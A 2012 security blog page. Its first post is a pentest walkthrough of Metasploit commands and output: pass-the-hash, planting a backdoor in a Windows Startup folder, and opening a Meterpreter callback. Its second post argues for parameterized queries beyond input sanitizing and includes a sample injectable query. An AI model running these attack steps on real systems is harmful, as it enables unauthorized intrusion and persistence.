Monday, January 23, 2012

psexec fail? upload and exec instead

I ended up having to use the smb/upload_file module on a pentest.  I was able to get the local admin hashes but for some reason the psexec module wouldn't get code execution, it would act like it would work but wasn't.  So we decided to push a binary, use winexe that was modified to pass the hash to exec the binary as needed.  It went something like this... ##################################################
# add a route to the 10.x network thru session 1
##################################################

msf  exploit(handler) > route add 10.0.0.0 255.255.255.0 1
[*] Route added

#######################################################
# psexec wouldnt work. AV eating metsvc most likely...
# used smb/upload_file to place a binary on the box
######################################################
msf  exploit(handler) > use auxiliary/admin/smb/upload_file
msf auxiliary(upload_file) > info

    Name: SMB File Upload Utility
    Module: auxiliary/admin/smb/upload_file
    Version: 10394
    License: Metasploit Framework License (BSD)
    Rank: Normal

Provided by:
  hdm

Basic options:

  Name      Current Setting                               Required  Description
  ----      ---------------                               --------  -----------
  LPATH                     yes       The path of the local file to upload
  RHOST                     yes       The target address
  RPATH                     yes       The name of the remote file relative to the share
  RPORT     445             yes       Set the SMB service port
  SMBSHARE  C$             yes       The name of a writeable share on the server

Description:
  This module uploads a file to a target share and path. The only
  reason to use this module is if your existing SMB client is not able
  to support the features of the Metasploit Framework that you need,
  like pass-the-hash authentication.

msf  auxiliary(upload_file) > set SMBUser Administrator
SMBUser => Administrator
smsf  auxiliary(upload_file) > set SMBPass aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
SMBPass => aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
msf auxiliary(upload_file) > set RHOST 1.2.3.4
RHOST => 1.2.3.4
msf auxiliary(upload_file) > set LPATH /home/chris/msf3/msf_backdoor.exe
LPATH => /home/chris/msf3/msf_backdoor.exe
msf auxiliary(upload_file) > set RPATH "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\msf_backdoor.exe"
RPATH => C:\Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe
msf auxiliary(upload_file) > run
[*] Read 13616 bytes from /home/chris/msf3/msf_backdoor.exe...
[*] Connecting to the server...
[*] Mounting the remote share \\1.2.3.4\C$'...
[*] Trying to upload Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe...
[*] The file has been uploaded to Documents and Settings\All Users\Start Menu\Programs\Startup\msf_backdoor.exe...
[*] Auxiliary module execution completed

################################################
#Set up a portforward to talk to hosts via SMB
################################################

meterpreter > portfwd add -l 445 -p 445 -r 1.2.3.4
[*] Local TCP relay created: 0.0.0.0:445 <-> 1.2.3.4:445

#####################################################################
# Use winexe with pass the hash to get cmd shell and run the binary
#####################################################################

user@ubuntu:~/Desktop/winexe-hash$ export SMBHASH=aad3b435b51404eeaad3b435b51404ee:9eba97a1375911112222333398c61606
user@ubuntu:~/Desktop/winexe-hash$ ./winexe -U administrator //1.2.3.4 "cmd"
Password for [WORKGROUP\administrator]:
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : inside.company.com
        IP Address. . . . . . . . . . . . : 1.2.3.4
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 1.2.3.254

C:\WINDOWS\system32>
C:\Documents and Settings\All Users\Start Menu\Programs\Startup>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 0007-B088

 Directory of C:\Documents and Settings\All Users\Start Menu\Programs\Startup

01/13/2012  03:55 PM             .
01/13/2012  03:55 PM             ..
01/13/2012  03:55 PM            13,616 msf_backdoor.exe
               1 File(s)         13,616 bytes
               2 Dir(s)  241,661,345,792 bytes free

C:\Documents and Settings\All Users\Start Menu\Programs\Startup>msf_backdoor.exe
msf_backdoor.exe

C:\Documents and Settings\All Users\Start Menu\Programs\Startup>

[*] 5.5.5.5:4889 Request received for /INITM...
[*] 5.5.5.5:4889 Staging connection for target /INITM received...
[*] Patched transport at offset 486516...
[*] Patched URL at offset 486248...
[*] Patched Expiration Timeout at offset 641856...
[*] Patched Communication Timeout at offset 641860...
[*] Meterpreter session 5 opened (5.5.5.5:443 -> 6.6.6.6:4889) at Wed Jan 18 22:02:03 +0000 2012

Friday, January 13, 2012

"Sanitize Input"



When application security was still in it’s infancy, there were discussions on how to protect applications from newly discovered injection vulnerabilities. "Sanitize Input" was a popular solution that rolled off the tongue nicely and was not overly complicated to explain. It was also, a very generic solution that would (hopefully) be part of a more complete approach.

As much as "Sanitizing Input" makes sense, so does writing your code in a way which, allows you to handle failure safely. This way, when the unexpected does happen, an entire operation doesn't fall down, introduce a bug or propagate unsafe data.




Question: When does this approach fail miserably?

Answer:  When it is the only approach you have.




The OWASP Top 10 categorizes XSS and SQL Injection separately. As an attacker, you are injecting data that is handled insecurely by application code. In this way, it is really just another form of injection. On that note, let’s discuss two manifestations of injection. SQL Injection and HTML Injection (XSS). I'd like to demonstrate other ways to think about or handle data beyond just "Sanitize Input". If you take away nothing more from this article, I'd like it to be that applications are unique, there is a level of complexity to design choices and solutions and there are more options than "Sanitize Input" available.

SQL Injection: "Save your one-liners for the bar". Parametrization of database queries is a classic method for handling queries safely and in many cases more efficiently. From a security standpoint, parametrized queries help to solidify the boundaries between user data and SQL statements. It ensures that data submitted by the user will be separated from the actual database query and won’t interfere with the SQL code and ultimately the database.

Example of lazy code....

http://www.example.com/example.php?user_name=gevans

$uname = $_GET['user_name']

....and this is the classic example everyone shows, nothing new here, that illustrates a SQL Injection flaw where the data ($uname) is actually included in the SQL statement.

"SELECT user_id from users where username = $uname;"


This programming flaw has destroyed the boundary between the SQL command and user-supplied input. Because the user data is now cast as a string-- it is no longer clear to the SQL server what part was supplied by the developer and what was supplied by the user. The whole query can fall apart by appending double quotes. This is not just a vulnerability, this is bad programming. Sure, it takes one line to write the query but there is no further sanity checking here. The string is formed, sent to the server, and executed as SQL. How are parametrized queries different?

Parametrized queries separate the data from the query so that we as coders don’t miscommunicate our intentions to the database server. How does it work? The majority of the query is sent to the server MINUS the actual user submitted data. So, the query is prepared (meaning sent to the server), a response comes back with a token (minus MySQL as I understand it), and THEN, the variable is sent to the server with the token and a SQL query executes. This means the expected query and actual data that we've gathered from the user are separated prior to execution.

Lets provide a visualization

// Pass in db credentials as well as the host it is located on and the database we'd like to connect to

$conn = new PDO("mysql:host=$dbhost;dbname=$dbname",$dbuser,$dbpass);

// Prepare the statement
$sql = "SELECT user_id from users where username = ?";


//Execute the query, taking in the variable data ($uname) from the user
$q = $conn->prepare($sql);
$q->execute(array($uname));
$object = $q->fetchColumn();






As you can see, the $sql statement is prepared and the server knows exactly what it should look like. Next, the SQL statement is executed, passing in the variable value in place of the "?" (shown above). By specifying that question mark, you tell the db, this is my statement but I don't know what the value will be.....I'll give you that on the next call.



Lets examine XSS. Again, something I hear a lot is "Sanitize your input". Some people even go as far as "Whitelist" versus "Blacklist". Okay, great, that is not extensible and ultimately context matters. What do I mean? It is a very one-sided approach with a lot of assumptions. Let me draw a picture for you. The understanding, as of right now, is the data comes in one place and is potentially echoed in another. So the model looks something like this:



A typical example would be a registration form. You sign up with your First Name, Last Name, etc. Upon successful authentication to the application, you notice a little message at the top right.... 


So....."Welcome, Ken!", I wonder where that value came from? When we registered, our information was stored in the db, later extracted after login, and shown on the page. Now, we should be safe right? Even if we had attempted to place JavaScript in the First Name value upon registration, it wouldn't have mattered.....We Sanitized!!! 

Two months later, a user complains that they signed up with a misspelled username and would like the ability to change it. A new developer is assigned the task of adding the ability to edit your first and last name and does so. The new developers assumption is that we are going to safely handle that data when rendered to the user. But we aren't. We sanitized the input and didn't bother with handling the data. Our model has changed from Input/Output to......



So with one additional point of input, our model gets (very slightly) more complicated. Now imagine adding multiple points of input, multiple points of output. Now split input into data entry (processed), storage handling (stored in the db) and then do the same for output. While we are at, lets throw a web-service that consumes the data as well. It becomes very easy to see how "Sanitize Input" doesn't scale, isn't a sure-fire solution, and really oversimplifies the problem for those who are looking to either receive or give an easy answer.

In summary, please join me in the fight to stop the mindless regurgitation of old material.

Cheers,

Ken